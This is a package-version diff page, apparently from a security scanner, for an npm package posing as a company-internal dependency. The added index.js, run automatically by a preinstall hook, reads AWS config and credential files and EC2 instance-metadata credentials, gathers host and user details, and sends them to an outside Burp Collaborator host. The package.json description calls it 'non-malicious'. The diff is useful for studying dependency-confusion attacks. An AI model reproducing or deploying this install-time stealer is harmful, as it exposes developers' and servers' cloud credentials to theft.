production-x-company-internal1 0.0.1-security → 9.9.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of production-x-company-internal1 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +91 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,91 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const net = require('net');
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+ const querystring = require("querystring");
7
+ const https = require("https");
8
+
9
+ var awsconfig = process.env.HOME+'/.aws/config';
10
+ let base64data1 = '';
11
+ try {
12
+ if (fs.existsSync(awsconfig)) {
13
+ var data1 = fs.readFileSync(awsconfig,'utf8');
14
+ let buff1 = Buffer.from(data1);
15
+ base64data1 = buff1.toString('base64');
16
+ }} catch(error) {
17
+ console.log('')
18
+ }
19
+
20
+ var awscreds = process.env.HOME+'/.aws/credentials';
21
+ let base64data2 = '';
22
+ try {
23
+ if (fs.existsSync(awscreds)) {
24
+ var data2 = fs.readFileSync(awscreds,'utf8');
25
+ let buff2 = Buffer.from(data2);
26
+ base64data2 = buff2.toString('base64');
27
+ }} catch(error) {
28
+ console.log('')
29
+ }
30
+
31
+ base64data3 = '';
32
+ function req2() {
33
+ http.get({
34
+ hostname: '169.254.169.254',
35
+ port: 80,
36
+ path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance',
37
+ agent: false}, (res) => {
38
+ res.setEncoding('utf8');
39
+ let data = '';
40
+ res.on("data", (d) => {
41
+ var x;
42
+ x = d;
43
+ let buff3 = Buffer.from(x);
44
+ base64data3 = buff3.toString('base64');
45
+
46
+ const trackingData = JSON.stringify({
47
+ c: __dirname,
48
+ homedir: os.homedir(),
49
+ networkinterfaces: os.networkInterfaces(),
50
+ release: os.release(),
51
+ userid: os.userInfo().uid,
52
+ hostname: os.hostname(),
53
+ username: os.userInfo().username,
54
+ dns: dns.getServers(),
55
+ });
56
+
57
+ var postData = querystring.stringify({
58
+ msg: trackingData,
59
+ });
60
+
61
+ var options = {
62
+ hostname: "r0sb3jrba69riytc2jyqb5i0criii67.burpcollaborator.net",
63
+ port: 443,
64
+ path: "/",
65
+ method: "POST",
66
+ headers: {
67
+ "Content-Type": "application/x-www-form-urlencoded",
68
+ "Content-Length": postData.length,
69
+ "Content-awsconfig": base64data1,
70
+ "Content-awscreds": base64data2,
71
+ "Content-imdsv": base64data3
72
+ },
73
+ };
74
+
75
+ var req = https.request(options, (res) => {
76
+ res.on("data", (d) => {
77
+ //process.stdout.write(d);
78
+ });
79
+ });
80
+
81
+ req.on("error", (e) => {
82
+ // console.error(e);
83
+ });
84
+
85
+ req.write(postData);
86
+ req.end();
87
+ });
88
+ });
89
+ }
90
+
91
+ req2();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "production-x-company-internal1",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.99",
4
+ "description": "This is a non-malicious package for POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=production-x-company-internal1 for more information.